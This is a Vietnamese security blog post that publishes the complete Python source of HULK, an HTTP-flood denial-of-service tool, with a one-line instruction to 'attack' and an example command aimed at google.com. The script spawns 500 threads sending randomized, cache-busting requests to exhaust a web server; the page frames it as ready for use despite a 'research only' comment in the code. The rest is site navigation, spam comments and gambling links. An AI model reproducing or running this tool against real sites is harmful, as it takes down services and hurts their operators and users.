• Kiến thức
  • Network
  • Security
  • Software
  • Thủ thuật
  • Tin học văn phòng
  • Tin tức
  • Mail ảo tạm thời miễn phí
  • Tools tra cứu thông tin
  • Công cụ đổi số thành chữ
  • AI Text Watermark Remover
AnonyViet
  • Tin tức
  • Network
    • Mạng cơ bản
    • Hyper-V
    • Linux
    • Windown Server 2012
  • Security
    • Basic Hacking
    • Deface
    • Kali Linux / Parrot
    • SQL Injection
  • Thủ thuật
    • Khóa Học Miễn Phí
    • Code
    • Mẹo Vặt Máy Tính
    • Facebook
    • Windows 7/8/10/11
    • Đồ Họa
    • Video
  • Software
    • Phần mềm máy tính
    • Phần mềm điện thoại
  • Tin học văn phòng
  • Kiến thức
  • MMO
    • Advertisers – Publishers
    • Affiliate Program
    • Kiếm tiền bằng điện thoại
    • Pay Per Click – PPC
No Result
View All Result
  • Tin tức
  • Network
    • Mạng cơ bản
    • Hyper-V
    • Linux
    • Windown Server 2012
  • Security
    • Basic Hacking
    • Deface
    • Kali Linux / Parrot
    • SQL Injection
  • Thủ thuật
    • Khóa Học Miễn Phí
    • Code
    • Mẹo Vặt Máy Tính
    • Facebook
    • Windows 7/8/10/11
    • Đồ Họa
    • Video
  • Software
    • Phần mềm máy tính
    • Phần mềm điện thoại
  • Tin học văn phòng
  • Kiến thức
  • MMO
    • Advertisers – Publishers
    • Affiliate Program
    • Kiếm tiền bằng điện thoại
    • Pay Per Click – PPC
No Result
View All Result
AnonyViet
No Result
View All Result

[DDOS] Hulk.py

AnonyViet by AnonyViet
05/12/2015 - Updated on 16/12/2020
in DDOS
A A
3

Code ddos Hulk

📢 Tham gia kênh Telegram của AnonyViet
👉 Vào Telegram AnonyViet
Cập nhật bài mới, tools hay và thủ thuật IT nhanh nhất

Sử dụng lệnh dưới đây để tấn công:

python hulk.py http://google.com

 

# ----------------------------------------------------------------------------------------------
# HULK - HTTP Unbearable Load King
#
# this tool is a dos tool that is meant to put heavy load on HTTP servers in order to bring them
# to their knees by exhausting the resource pool, its is meant for research purposes only
# and any malicious usage of this tool is prohibited.
#
# author :  Barry Shteiman , version 1.0
# ----------------------------------------------------------------------------------------------
import urllib2
import sys
import threading
import random
import re

#global params
url=''
host=''
headers_useragents=[]
headers_referers=[]
request_counter=0
flag=0
safe=0

def inc_counter():
	global request_counter
	request_counter+=1

def set_flag(val):
	global flag
	flag=val

def set_safe():
	global safe
	safe=1
	
# generates a user agent array
def useragent_list():
	global headers_useragents
	headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
	headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
	headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
	headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
	headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
	headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
	headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
	headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
	headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
	headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
	headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
	headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
	return(headers_useragents)

# generates a referer array
def referer_list():
	global headers_referers
	headers_referers.append('http://www.google.com/?q=')
	headers_referers.append('http://www.usatoday.com/search/results?q=')
	headers_referers.append('http://engadget.search.aol.com/search?q=')
	headers_referers.append('http://' + host + '/')
	return(headers_referers)
	
#builds random ascii string
def buildblock(size):
	out_str = ''
	for i in range(0, size):
		a = random.randint(65, 90)
		out_str += chr(a)
	return(out_str)

def usage():
	print '---------------------------------------------------'
	print 'USAGE: python hulk.py <url>'
	print 'you can add "safe" after url, to autoshut after dos'
	print '---------------------------------------------------'

	
#http request
def httpcall(url):
	useragent_list()
	referer_list()
	code=0
	if url.count("?")>0:
		param_joiner="&"
	else:
		param_joiner="?"
	request = urllib2.Request(url + param_joiner + buildblock(random.randint(3,10)) + '=' + buildblock(random.randint(3,10)))
	request.add_header('User-Agent', random.choice(headers_useragents))
	request.add_header('Cache-Control', 'no-cache')
	request.add_header('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7')
	request.add_header('Referer', random.choice(headers_referers) + buildblock(random.randint(5,10)))
	request.add_header('Keep-Alive', random.randint(110,120))
	request.add_header('Connection', 'keep-alive')
	request.add_header('Host',host)
	try:
			urllib2.urlopen(request)
	except urllib2.HTTPError, e:
			#print e.code
			set_flag(1)
			print 'Response Code 500'
			code=500
	except urllib2.URLError, e:
			#print e.reason
			sys.exit()
	else:
			inc_counter()
			urllib2.urlopen(request)
	return(code)		

	
#http caller thread 
class HTTPThread(threading.Thread):
	def run(self):
		try:
			while flag<2:
				code=httpcall(url)
				if (code==500) & (safe==1):
					set_flag(2)
		except Exception, ex:
			pass

# monitors http threads and counts requests
class MonitorThread(threading.Thread):
	def run(self):
		previous=request_counter
		while flag==0:
			if (previous+100<request_counter) & (previous<>request_counter):
				print "%d Requests Sent" % (request_counter)
				previous=request_counter
		if flag==2:
			print "\n-- HULK Attack Finished --"

#execute 
if len(sys.argv) < 2:
	usage()
	sys.exit()
else:
	if sys.argv[1]=="help":
		usage()
		sys.exit()
	else:
		print "-- HULK Attack Started --"
		if len(sys.argv)== 3:
			if sys.argv[2]=="safe":
				set_safe()
		url = sys.argv[1]
		if url.count("/")==2:
			url = url + "/"
		m = re.search('http\://([^/]*)/?.*', url)
		host = m.group(1)
		for i in range(500):
			t = HTTPThread()
			t.start()
		t = MonitorThread()
		t.start()

 

Các bài viết liên quan

DOS ATTACK từ bên trong mạng đến máy chủ DHCP 3

DOS ATTACK từ bên trong mạng đến máy chủ DHCP

23/04/2024 - Updated on 24/07/2025
antiddos vddos

Dịch vụ “AntiDDoS miễn phí” cho các Website

31/01/2023
CAI VDDOS CHONG DDOS WEBSITE

Hướng dẫn AntiDDoS Layer 7 bằng vDDoS Proxy Protection

22/10/2022 - Updated on 24/07/2025
Tổng kết Event DDos vào mục tiêu AnonyViet 4

Tổng kết Event DDos vào mục tiêu AnonyViet

23/09/2022 - Updated on 24/07/2025
Tags: DDOS
AnonyViet

AnonyViet

20 năm kinh nghiệm trong lĩnh vực Security, các chứng chỉ:OSCP, CCNA, CCNP, CISSP. Kiến thức như một ngọn lửa, càng chia sẽ nó sẽ càng bùng cháy!

Related Posts

DOS ATTACK từ bên trong mạng đến máy chủ DHCP 5
DDOS

DOS ATTACK từ bên trong mạng đến máy chủ DHCP

23/04/2024 - Updated on 24/07/2025
antiddos vddos
Tin tức

Dịch vụ “AntiDDoS miễn phí” cho các Website

31/01/2023
CAI VDDOS CHONG DDOS WEBSITE
Mạng cơ bản

Hướng dẫn AntiDDoS Layer 7 bằng vDDoS Proxy Protection

22/10/2022 - Updated on 24/07/2025
Tổng kết Event DDos vào mục tiêu AnonyViet 6
Basic Hacking

Tổng kết Event DDos vào mục tiêu AnonyViet

23/09/2022 - Updated on 24/07/2025
antiddos bằng flyingproxy
Mạng cơ bản

Cách dùng FlyingProxy chống DDoS bằng hạ tầng của Cloudflare Enterprise

18/09/2022 - Updated on 24/07/2025
Cách Stress Test Website bằng cách tấn công HTTP Flood 7
Basic Hacking

Cách Stress Test Website bằng cách tấn công HTTP Flood

18/07/2022 - Updated on 24/07/2025
guest

guest

This site uses Akismet to reduce spam. Learn how your comment data is processed.

3 Comments
oldest
newest
Cole
Cole
10 years ago

I think the admin of this web site is truly working hard for his web page,
since here every data is quality based information.

Reply
toyota hiace 2017
toyota hiace 2017
9 years ago

Excellent post. I used to be checking continuously this weblog and
I am impressed! Very helpful info specially the closing part 🙂 I take care of such information much.
I used to be looking for this particular information for a very lengthy
time. Thank you and best of luck.

Reply
Hậu
Hậu
9 years ago

Chạy trên đâu thế ad plesae help me

Reply
wpdiscuz   wpDiscuz

Liên hệ Quảng Cáo

Lien he AnonyViet

Bài viết mới

trend lấp đầy căn phòng bằng ChatGPT

Hướng dẫn đu trend lấp đầy căn phòng bằng ChatGPT

by Thanh Kim
12/11/2026
0

web gợi ý món ăn cho dân văn phòng

Trưa nay ăn gì: Web gợi ý món ăn cho dân văn phòng phong cách CS2

by Thanh Kim
11/11/2026
0

tool lấy transcript toàn bộ kênh YouTube

Tool lấy transcript toàn bộ kênh YouTube cực nhanh và miễn phí

by Thanh Kim
10/11/2026
0

Keysoff giảm giá 11.11: Office 2024 Pro chỉ $26.58, Windows 11 Pro từ $15.58 2

Keysoff giảm giá 11.11: Office 2024 Pro chỉ $26.58, Windows 11 Pro từ $15.58

by AnonyViet
09/11/2026
0

Bình luận gần đây

  • đạt trong [Update] Cách nhận Google AI Pro 1 năm miễn phí bằng Telegram
  • teo trong MiniTool Partition Wizard 12.6 Full Key – Phần mềm Quản lý Phân vùng tốt nhất
  • le trong MiniTool Partition Wizard 12.6 Full Key – Phần mềm Quản lý Phân vùng tốt nhất
  • Garbanta trong Hướng dẫn cách nhận 1 tỷ token Muse AI
  • Phúc an trong Cách tạo Pet ảo, nhân vật ảo chạy lung tung trên Desktop để thư giản
  • Hieu IT trong Hướng dẫn đăng ký tên miền .tech miễn phí 1 năm
  • Viet Dao Quoc trong Hướng dẫn nhận 3 tháng Shopee VIP từ Vinaphone giá 0 đồng
  • AnonyViet trong Hướng dẫn cách nhận 1 tỷ token Muse AI
  • Minh Cần trong Hướng dẫn cách nhận 1 tỷ token Muse AI
  • TextToSong trong Cách dùng Suno AI tạo bài hát hoàn chỉnh từ A đến Z chỉ trong 5 phút
  • Phương Phan trong Hướng dẫn dùng Uneed.vn để đánh giá kiến thức Online cho học sinh
  • Phạm Nhật trong Hướng dẫn dùng Uneed.vn để đánh giá kiến thức Online cho học sinh
  • tuan trong Share key Driver Booster 13 Pro miễn phí 2026
  • loc trong Hack Game & App trên Iphone với TutuApp
  • lâm trong Share key Advanced SystemCare 19 Pro 6 tháng mới nhất
  • lâm trong Share key Driver Booster 13 Pro miễn phí 2026
  • Mui trong Làm thế nào để mua Microsoft Office 2024 mới nhất với chi phí tiết kiệm?
  • Ngọc hân trong Tạo Locket Gold miễn phí siêu đơn giản
  • nmh trong Hướng dẫn cách nhận ShopeeVIP 12 tháng miễn phí
  • Vasker trong HeroSMS là gì? Cách thuê số điện thoại ảo nhận SMS OTP online không cần SIM

Giới thiệu

AnonyViet

AnonyViet

Nơi chia sẻ những kiến thức mà bạn chưa từng được học trên ghế nhà trường!

Chúng tôi sẵn sàng đón những ý kiến đóng góp, cũng như bài viết của các bạn gửi đến AnonyViet.

Hãy cùng AnonyViet xây dựng một cộng đồng CNTT lớn mạnh nhất!

Liên hệ

Email: support[@]anonyviet.com

1409 Hill Street #01-01A
Old Hill Street Police Station
Singapore 179369

 

DMCA.com Protection Status

Giới thiệu

AnonyViet là Website chia sẻ miễn phí tất cả các kiến thức về công nghệ thông tin. AnonyViet cung cấp mọi giải pháp về mạng máy tính, phần mềm, đồ họa và MMO.

kết quả xổ số hôm nay đọc truyện dandadan online Xoilac TV bóng đá trực tiếp bóng đá trực tiếp cakhia tv trực tiếp bóng đá tối nay tải ebook free tỷ lệ nhà cái XOSO66 https://tylekeonhacai.me/ https://keonhacai.org.vc/ https://keonhacai88.tv/ https://keonhacai.loans/ https://keonhacai.kiwi/ xx88 Sun52 soxo66 nổ hũ uy tín https://pgp88.org/ luck8 luck8 58WIN Thabet 789club go88 vip66 xoso66 8day https://keonhacaitop.com/ kèo nhà cái 12bet Hitclub nhà cái MB66 Kèo nhà cái gavangtv 888slot okvip Rikvip Good88 GK88 6623 cakhiatv Fun88 Việt game nổ hũ JBO 789win tải sunwin thapcamtv Nohu90 trang chủ MB66 gowin xoilactv game bài https://f168.news/ https://keonhacai.cool/ V9bet xoilac

©2026 AnonyViet - Chúng tôi mang đến cho bạn những kiến thức bổ ích về CNTT

No Result
View All Result
  • Tin tức
  • Network
    • Mạng cơ bản
    • Hyper-V
    • Linux
    • Windown Server 2012
  • Security
    • Basic Hacking
    • Deface
    • Kali Linux / Parrot
    • SQL Injection
  • Thủ thuật
    • Khóa Học Miễn Phí
    • Code
    • Mẹo Vặt Máy Tính
    • Facebook
    • Windows 7/8/10/11
    • Đồ Họa
    • Video
  • Software
    • Phần mềm máy tính
    • Phần mềm điện thoại
  • Tin học văn phòng
  • Kiến thức
  • MMO
    • Advertisers – Publishers
    • Affiliate Program
    • Kiếm tiền bằng điện thoại
    • Pay Per Click – PPC

©2026 AnonyViet - Chúng tôi mang đến cho bạn những kiến thức bổ ích về CNTT

wpDiscuz